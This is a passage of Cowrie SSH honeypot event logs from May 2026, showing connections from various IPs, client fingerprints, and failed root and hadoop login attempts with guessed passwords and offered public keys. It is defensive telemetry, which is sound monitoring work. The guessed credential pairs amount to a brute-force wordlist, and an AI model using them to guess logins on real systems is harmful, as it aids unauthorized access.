sh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:56:25.078347Z","src_ip":"168.144.95.137","session":"2b6a7cfc193b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"qwer1234!@#$","message":"login attempt [root/qwer1234!@#$] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:56:25.948775Z","src_ip":"168.144.95.137","session":"2b6a7cfc193b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:56:27.161677Z","src_ip":"168.144.95.137","session":"2b6a7cfc193b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.183.114.55","src_port":50380,"dst_ip":"10.17.0.5","dst_port":22,"session":"08432c5e2809","protocol":"ssh","message":"New connection: 103.183.114.55:50380 (10.17.0.5:22) [session: 08432c5e2809]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:56:37.213513Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:56:37.219079Z","src_ip":"103.183.114.55","session":"08432c5e2809","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:56:37.440525Z","src_ip":"103.183.114.55","session":"08432c5e2809","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"william","message":"login attempt [root/william] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:56:38.104747Z","src_ip":"103.183.114.55","session":"08432c5e2809","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.1","message":"Connection lost after 2.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:56:39.332068Z","src_ip":"103.183.114.55","session":"08432c5e2809","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"193.32.162.151","src_port":33602,"dst_ip":"159.203.135.109","dst_port":22,"session":"f900021cf5b8","protocol":"ssh","message":"New connection: 193.32.162.151:33602 (159.203.135.109:22) [session: f900021cf5b8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:56:40.650055Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:56:40.655347Z","src_ip":"193.32.162.151","session":"f900021cf5b8","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:56:40.751889Z","src_ip":"193.32.162.151","session":"f900021cf5b8","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"hadoop","password":"hadoop","message":"login attempt [hadoop/hadoop] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:56:41.090696Z","src_ip":"193.32.162.151","session":"f900021cf5b8","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:56:42.191696Z","src_ip":"193.32.162.151","session":"f900021cf5b8","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.96.74.162","src_port":33078,"dst_ip":"10.17.0.5","dst_port":22,"session":"411f907fc0c0","protocol":"ssh","message":"New connection: 103.96.74.162:33078 (10.17.0.5:22) [session: 411f907fc0c0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:56:54.012061Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:56:54.017063Z","src_ip":"103.96.74.162","session":"411f907fc0c0","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:56:54.238370Z","src_ip":"103.96.74.162","session":"411f907fc0c0","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"devops","message":"login attempt [root/devops] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:56:54.900403Z","src_ip":"103.96.74.162","session":"411f907fc0c0","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.1","message":"Connection lost after 2.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:56:56.165847Z","src_ip":"103.96.74.162","session":"411f907fc0c0","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.172.78.219","src_port":54478,"dst_ip":"159.203.135.109","dst_port":22,"session":"c547fd59f0ef","protocol":"ssh","message":"New connection: 103.172.78.219:54478 (159.203.135.109:22) [session: c547fd59f0ef]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:56:56.517235Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:56:56.522023Z","src_ip":"103.172.78.219","session":"c547fd59f0ef","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:56:56.778828Z","src_ip":"103.172.78.219","session":"c547fd59f0ef","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Forten1883","message":"login attempt [root/Forten1883] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:56:57.549440Z","src_ip":"103.172.78.219","session":"c547fd59f0ef","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:56:58.807723Z","src_ip":"103.172.78.219","session":"c547fd59f0ef","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"178.73.210.62","src_port":33606,"dst_ip":"10.17.0.5","dst_port":22,"session":"b4224c39c838","protocol":"ssh","message":"New connection: 178.73.210.62:33606 (10.17.0.5:22) [session: b4224c39c838]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:57:00.051064Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.0","message":"Remote SSH version: SSH-2.0-libssh2_1.11.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:57:00.056867Z","src_ip":"178.73.210.62","session":"b4224c39c838","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"14b2ddda386a4d1006108ccd231b42fc","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-rsa-cert-v01@openssh.com","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 14b2ddda386a4d1006108ccd231b42fc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:57:00.160927Z","src_ip":"178.73.210.62","session":"b4224c39c838","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"5a:d1:7c:8e:9c:cc:21:7e:19:dc:8c:00:3e:67:5e:67","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCcB2TL2l1btWzG2O5WTNnku8cE7ffHo1ZFhWllOQB1lePGABk5jk8A6OhMo60PcsnkdzZLZKWLKkXe5UMlR2lyClLfGUQ5oKXDC3ntDCXY6WkLo7Oj1htjqthz3dzYGok5Rn4oo0bFYmuWp8Wp+ff07mb4xZrckP4k5zKSnGpFdoG0W6p7P2wHeMSmuCThEepQ8pyowg7zOeNho3DYmvMcZH8x9l6maeGRyp/u/b5RDi89is22Pzs0uJRXg6ETj5NnIXtSjrwDxw6Ece8DizCGAp66fZ19YZ2l8B0OEroFQaKngdje33JAQEM0ZFvLT1u3q5aWFxI9dd6Mu3lCSBlJ","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 5a:d1:7c:8e:9c:cc:21:7e:19:dc:8c:00:3e:67:5e:67","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:57:00.646885Z","src_ip":"178.73.210.62","session":"b4224c39c838","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"5a:d1:7c:8e:9c:cc:21:7e:19:dc:8c:00:3e:67:5e:67","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCcB2TL2l1btWzG2O5WTNnku8cE7ffHo1ZFhWllOQB1lePGABk5jk8A6OhMo60PcsnkdzZLZKWLKkXe5UMlR2lyClLfGUQ5oKXDC3ntDCXY6WkLo7Oj1htjqthz3dzYGok5Rn4oo0bFYmuWp8Wp+ff07mb4xZrckP4k5zKSnGpFdoG0W6p7P2wHeMSmuCThEepQ8pyowg7zOeNho3DYmvMcZH8x9l6maeGRyp/u/b5RDi89is22Pzs0uJRXg6ETj5NnIXtSjrwDxw6Ece8DizCGAp66fZ19YZ2l8B0OEroFQaKngdje33JAQEM0ZFvLT1u3q5aWFxI9dd6Mu3lCSBlJ","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:57:00.650756Z","src_ip":"178.73.210.62","session":"b4224c39c838","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"95:8d:d5:e6:9f:82:5a:18:b9:eb:2b:8a:24:47:aa:e1","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQC2CIwVPh5GnWE76UCh59qmT35UFMocLTWlp0wCSvdAXUMQsBkSQ5RYs608R66Hefcv4+RtBZS6Bdb2RRGtJkuX9oFRMevg3PqVXM/oC5j7qo11CQpq843LqYnSEkr3yWxKgI9YvO2Ap7LCyYpr7aQinWOwJw77zQcmQ+Zb6i1Q516m9S4RsovF3jozPDoqJz+NrD7QhW/yk1WTHuDmlpufVdA7TNomSoUFcwsMOvj8r4onFX0PB1FxkACNfyNvtkUfkFTPszVWa2ZRlYHWDgbLf8bqkK9ArvuznEmHr8zjp0l048FeF+ASUV2+Uw7tX/A4x391ia6r1UhLeFTFG2CU9KzyzS2tlcICyRJqWD3Ygy91TBrmbtq4/5kkcRPfpOfSoUeW46Ee1XJ30fNG2eruArqTg+hfxNzdMS7T3PaCh/2/U+PELLnAqm48bPKtuJb9IhzxyN9yYfgW4Ha8Ak/SLhRXZbqYXDkPqxVk7Wq4ZzHOHzom9duxjGswMRoHVNEIJbHLmkhdcBkA2SjC8qGmgFEWdB4tcmzmODwKdqktscwOI5Q1IbOWrHpRWdrHNZJFYBrgMxz/dCBFFPqanfxQ7183+ZNc8A3cNL0PMtu3dE1q52rHOIWY+ftMpixkaVEiDbyWO9YqudbxcEAKCR6IjP0hgvZ3ya0CCx+KU/FLJQ==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 95:8d:d5:e6:9f:82:5a:18:b9:eb:2b:8a:24:47:aa:e1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:57:00.756011Z","src_ip":"178.73.210.62","session":"b4224c39c838","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"95:8d:d5:e6:9f:82:5a:18:b9:eb:2b:8a:24:47:aa:e1","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQC2CIwVPh5GnWE76UCh59qmT35UFMocLTWlp0wCSvdAXUMQsBkSQ5RYs608R66Hefcv4+RtBZS6Bdb2RRGtJkuX9oFRMevg3PqVXM/oC5j7qo11CQpq843LqYnSEkr3yWxKgI9YvO2Ap7LCyYpr7aQinWOwJw77zQcmQ+Zb6i1Q516m9S4RsovF3jozPDoqJz+NrD7QhW/yk1WTHuDmlpufVdA7TNomSoUFcwsMOvj8r4onFX0PB1FxkACNfyNvtkUfkFTPszVWa2ZRlYHWDgbLf8bqkK9ArvuznEmHr8zjp0l048FeF+ASUV2+Uw7tX/A4x391ia6r1UhLeFTFG2CU9KzyzS2tlcICyRJqWD3Ygy91TBrmbtq4/5kkcRPfpOfSoUeW46Ee1XJ30fNG2eruArqTg+hfxNzdMS7T3PaCh/2/U+PELLnAqm48bPKtuJb9IhzxyN9yYfgW4Ha8Ak/SLhRXZbqYXDkPqxVk7Wq4ZzHOHzom9duxjGswMRoHVNEIJbHLmkhdcBkA2SjC8qGmgFEWdB4tcmzmODwKdqktscwOI5Q1IbOWrHpRWdrHNZJFYBrgMxz/dCBFFPqanfxQ7183+ZNc8A3cNL0PMtu3dE1q52rHOIWY+ftMpixkaVEiDbyWO9YqudbxcEAKCR6IjP0hgvZ3ya0CCx+KU/FLJQ==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:57:00.759959Z","src_ip":"178.73.210.62","session":"b4224c39c838","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"dd:6a:74:0d:cd:46:6d:3d:eb:fe:ba:cc:99:d0:43:87","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQDSbicxZznhqUZnMODQc1snbFq+qxaTppHLQW9y/CjSS51QWuI6ONS8GERaS/ppFamJZ8xxrX7W58lKkyTArEXmoKK4Rz2CzHv8SFp9/iW4J8iAJFSz4SX28vDd6FI5yW7OMVZFpjYBiQG731y7+Z1/pLrxgVmFhGwqD5Z065W9r1SjDrhVSlRFQu8z0ZPpgu4x+/UeVNFFP/HNay6uxiq1UfvRFU4cpvC67kX7E+9zv6RD6ZHqdQrRggmVsWqALZyrl9ZflIiQBMp/O3sOBhBYqtHMLuq3r5gB9z0qD9GHK4KnoLco/3+yI1DNbFWhiTG0vSj1ehW5aBZAA2MMhFBPBeoJZx9BtnxA5aFuaSVfA/oZ8v2z+XfBG3u7VK3gqYPa0J2o+VKGNNTKkihQWU9etfkiSVPG+kjTt0R7NoK4ns7alnTb+3R6qojyBiFn4TjS2B2mKnNcStxtmt1gx+m3twM5a8zF24zu/d6hVa/8MHUG5n1izUg4lkI94Qf2d+Etd0EK41FN2lyZzeVZx2Wx0d8YfatQ6uujQ0rfJNiZS65TLI6n5FY3LhZiVAcHO3UijqsF2hNX0acDyX7rhOiiFidZydecw+PTjh6I5tT+80jQkNVWDM/KlaGBSqTHOkESgZIpaZIXaV1BPxR9iNRC26/SL9lqQ6vRewH+4Dw9Nw==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint dd:6a:74:0d:cd:46:6d:3d:eb:fe:ba:cc:99:d0:43:87","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:57:00.861336Z","src_ip":"178.73.210.62","session":"b4224c39c838","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"dd:6a:74:0d:cd:46:6d:3d:eb:fe:ba:cc:99:d0:43:87","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQDSbicxZznhqUZnMODQc1snbFq+qxaTppHLQW9y/CjSS51QWuI6ONS8GERaS/ppFamJZ8xxrX7W58lKkyTArEXmoKK4Rz2CzHv8SFp9/iW4J8iAJFSz4SX28vDd6FI5yW7OMVZFpjYBiQG731y7+Z1/pLrxgVmFhGwqD5Z065W9r1SjDrhVSlRFQu8z0ZPpgu4x+/UeVNFFP/HNay6uxiq1UfvRFU4cpvC67kX7E+9zv6RD6ZHqdQrRggmVsWqALZyrl9ZflIiQBMp/O3sOBhBYqtHMLuq3r5gB9z0qD9GHK4KnoLco/3+yI1DNbFWhiTG0vSj1ehW5aBZAA2MMhFBPBeoJZx9BtnxA5aFuaSVfA/oZ8v2z+XfBG3u7VK3gqYPa0J2o+VKGNNTKkihQWU9etfkiSVPG+kjTt0R7NoK4ns7alnTb+3R6qojyBiFn4TjS2B2mKnNcStxtmt1gx+m3twM5a8zF24zu/d6hVa/8MHUG5n1izUg4lkI94Qf2d+Etd0EK41FN2lyZzeVZx2Wx0d8YfatQ6uujQ0rfJNiZS65TLI6n5FY3LhZiVAcHO3UijqsF2hNX0acDyX7rhOiiFidZydecw+PTjh6I5tT+80jQkNVWDM/KlaGBSqTHOkESgZIpaZIXaV1BPxR9iNRC26/SL9lqQ6vRewH+4Dw9Nw==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:57:00.865469Z","src_ip":"178.73.210.62","session":"b4224c39c838","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"99:0f:77:97:51:b0:35:da:1c:02:8e:cc:c7:10:a0:ec","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEAvG04hkm6AARlMXqoABN2YZ0qQOmQjfafLzfyudQtrs3dQJ9xRabKqJKWpvQ5H8imUSj4K62olWXnppZeIY3twgGY3QeHHYhDtO1WZyiJP2R9qZrKRWQpdlc06NEAIfiDQnTVF8VKjAuQiJa8jf/gtu8xwvof1Is0EMcUE/0HFpgxJVYZgrUgtyXa0TUrIhOVA+PasNwz5m6qNsUJyZlIUA8bx6Z/yMTjxER/mXNQf9ujq/lcibYPD94suY4DBM2VRjovd6HBQjD/1WIl8kYR4y9rLCGsuUiw6F60OwG87b/scgiHLI6Eg/qgbLrpNU2XLHZd3Yjbpxxk3fdBaJAO8w==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 